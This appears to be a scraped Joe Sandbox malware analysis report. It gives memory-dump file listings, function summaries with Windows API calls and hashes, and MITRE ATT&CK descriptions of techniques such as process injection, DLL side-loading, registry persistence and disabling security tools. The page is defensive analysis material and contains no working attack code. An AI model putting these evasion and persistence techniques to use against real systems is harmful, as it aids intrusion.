Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: dd71b1d8c3ee8c18feb184a30f6369b2d0be762160bd6430f49bd1789277e1bd
Instruction ID: 40f4de139c694f8f608e111e364638825806287da46d68188d99632ad45b0d11
Opcode Fuzzy Hash: dd71b1d8c3ee8c18feb184a30f6369b2d0be762160bd6430f49bd1789277e1bd
Instruction Fuzzy Hash: 6BF08CB36452086F8704FFADA881D6B77ECEE8926032001BAF91CD7245DE30ED0183B8

Function 0BBD4D74 Relevance: 6.0, APIs: 4, Instructions: 22windowCOMMON

Download Yara Rule

APIs

PeekMessageA.USER32(00000000,00000000,00000000,00000000,00000001), ref: 0BBD4D84
PostQuitMessage.USER32(?), ref: 0BBD4D99
TranslateMessage.USER32 ref: 0BBD4DA1
DispatchMessageA.USER32 ref: 0BBD4DA7

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: Message$DispatchPeekPostQuitTranslate
String ID:
API String ID: 1277387291-0
Opcode ID: 60412853910e960549ee3fb45b6a9daf6bfc4968fc1a9752075e530c640a76ca
Instruction ID: ce7a9f6d0288ef9021c90105bab2783b0ac63e314d5afb443b605a7bd3a93172
Opcode Fuzzy Hash: 60412853910e960549ee3fb45b6a9daf6bfc4968fc1a9752075e530c640a76ca
Instruction Fuzzy Hash: 62E0C2309843017FF960BA618C03F5B31585B80A10F8004E97524972D0EE78DA44C6A7

Function 0BB77BE0 Relevance: 6.0, APIs: 4, Instructions: 11memoryCOMMON

Download Yara Rule

APIs

GlobalHandle.KERNEL32 ref: 0BB77BE3
GlobalUnWire.KERNEL32(00000000), ref: 0BB77BEA
GlobalReAlloc.KERNEL32(00000000,00000000), ref: 0BB77BEF
GlobalFix.KERNEL32(00000000), ref: 0BB77BF5

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: Global$AllocHandleWire
String ID:
API String ID: 2210401237-0
Opcode ID: 12c31064beb9c0d1e1d5bb3fc420e02b111f226ff6da3f7fc0f00632f81f9461
Instruction ID: 8383cffa0c332b3c5222be2972280b8031f0cb620b425dc1bff20ae580b1b1cb
Opcode Fuzzy Hash: 12c31064beb9c0d1e1d5bb3fc420e02b111f226ff6da3f7fc0f00632f81f9461
Instruction Fuzzy Hash: 4BB009D49E06003FAC0A33F24D0FD7B281CE8906497B68DE87830A20209C68AC028075

Function 0BB7D2AC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,0BB7D38A), ref: 0BB7D332
GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,0BB7D38A), ref: 0BB7D338

Strings

yyyy, xrefs: 0BB7D30D

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: DateFormatLocaleThread
String ID: yyyy
API String ID: 3303714858-3145165042
Opcode ID: d8a1e92e4688bf802ec4820884ff91dc7e3d46b37948feef341f971ce87db41e
Instruction ID: 778e56c1a9c008963a34356317e76f2ab5a0e01ffef272c411a4df334e45300d
Opcode Fuzzy Hash: d8a1e92e4688bf802ec4820884ff91dc7e3d46b37948feef341f971ce87db41e
Instruction Fuzzy Hash: 9C214FB5684608AFDB11FBA8C982AAEB3B8EF49750F5140F5E824D7750DA709E00C765

Function 0BB923F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(00000000), ref: 0BB92445
GetSystemMetrics.USER32(00000001), ref: 0BB92451

Part of subcall function 0BB92284: GetProcAddress.KERNEL32(75A10000,00000000), ref: 0BB92304

Strings

MonitorFromRect, xrefs: 0BB92409

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: MetricsSystem$AddressProc
String ID: MonitorFromRect
API String ID: 1792783759-4033241945
Opcode ID: b2da3a261ccd6d24ac16efe32a4b8615a78e1df9412c3e953248dd5a72cfd047
Instruction ID: f4a0dc789b2628ad83fd5dc757459ab0d37358478a049ec5d3d4fcd2b665fffa
Opcode Fuzzy Hash: b2da3a261ccd6d24ac16efe32a4b8615a78e1df9412c3e953248dd5a72cfd047
Instruction Fuzzy Hash: 2C018639A04224BFDF108B58F584B69B7A8E780765F4880B5EF49CB351D275D944CBB0

Function 62560185 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 625539E0: __getptd.LIBCMT ref: 625539E6
Part of subcall function 625539E0: __getptd.LIBCMT ref: 625539F6

__getptd.LIBCMT ref: 62560194

Part of subcall function 62557833: __getptd_noexit.LIBCMT ref: 62557836
Part of subcall function 62557833: __amsg_exit.LIBCMT ref: 62557843

__getptd.LIBCMT ref: 625601A2

Strings

csm, xrefs: 625601B0

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: 476b7c6b9b3a37e2a368f563068d30c57c37eeed4fd09a867245285f00dade62
Instruction ID: 144ec5aaddfc81016f252db3ec1ebf8d9240032871a47e7859fe2e0c7b4575f1
Opcode Fuzzy Hash: 476b7c6b9b3a37e2a368f563068d30c57c37eeed4fd09a867245285f00dade62
Instruction Fuzzy Hash: DA014B748042069ACB348F74D860BADBBF5BF04325F90542FD8526A6A0CB788A95DF41

Function 62518409 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

OutputDebugStringA.KERNEL32(wrong list), ref: 6251843E
OutputDebugStringA.KERNEL32(6256E1DC), ref: 62518445

Strings

wrong list, xrefs: 62518439

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: DebugOutputString
String ID: wrong list
API String ID: 1166629820-1253355401
Opcode ID: 0083622793da055910a893d621914707d55471ca87e0cdddfeb45389f0cbca82
Instruction ID: faff470b99a640d9b4ca36821b6ac99c1880338b0e5313f6247e3d0f36b30b3a
Opcode Fuzzy Hash: 0083622793da055910a893d621914707d55471ca87e0cdddfeb45389f0cbca82
Instruction Fuzzy Hash: A1F0F0728041009FDB20DF78CDE6BA93BA0BF4A744F08485DD909C7262DF34A408DB93

Function 62566B7A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 62566B81
__CxxThrowException@8.LIBCMT ref: 62566BAC

Part of subcall function 62553660: RaiseException.KERNEL32(?,?,00000000,?), ref: 625536A2

Strings

invalid string position, xrefs: 62566B86

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: ExceptionException@8H_prolog3RaiseThrow
String ID: invalid string position
API String ID: 1961742612-1799206989
Opcode ID: 9958720965fba86c244b70d4405e23de6994a0286858796f8ff26faada7aee91
Instruction ID: 0a69138d77b4300d9633ffa0b8941df0d2d840927b386ef1edc1d1a0f1fbd5f3
Opcode Fuzzy Hash: 9958720965fba86c244b70d4405e23de6994a0286858796f8ff26faada7aee91
Instruction Fuzzy Hash: 84D0177282021CAADB20DBD4CC64FEDB378AF44318F506429A209BA094FBB4AE04C764

Function 62544BD0 Relevance: 5.0, APIs: 4, Instructions: 35COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6257FFE8,?,?,00000000,?,6254522C,?,00000004,62544B28,6253F4DD,62542D49,6251BFE2,00000000), ref: 62544BDE
TlsGetValue.KERNEL32(6257FFCC,?,00000000,?,6254522C,?,00000004,62544B28,6253F4DD,62542D49,6251BFE2,00000000), ref: 62544BF2
LeaveCriticalSection.KERNEL32(6257FFE8,?,00000000,?,6254522C,?,00000004,62544B28,6253F4DD,62542D49,6251BFE2,00000000), ref: 62544C08
LeaveCriticalSection.KERNEL32(6257FFE8,?,00000000,?,6254522C,?,00000004,62544B28,6253F4DD,62542D49,6251BFE2,00000000), ref: 62544C13

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: CriticalSection$Leave$EnterValue
String ID:
API String ID: 3969253408-0
Opcode ID: a154529fbb92eab4338167fa8f80b9b29a81eafe797ef59ab46dc79f4522197c
Instruction ID: b9e6f984e0c48b84453365e29835e41cc7063b6668a9c35fe0a3516ba9ceaedf
Opcode Fuzzy Hash: a154529fbb92eab4338167fa8f80b9b29a81eafe797ef59ab46dc79f4522197c
Instruction Fuzzy Hash: 1FF05E3A2C42159FDB308F69C988D16FBADEA8536031E4825E905A3221DB71F981DEB1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

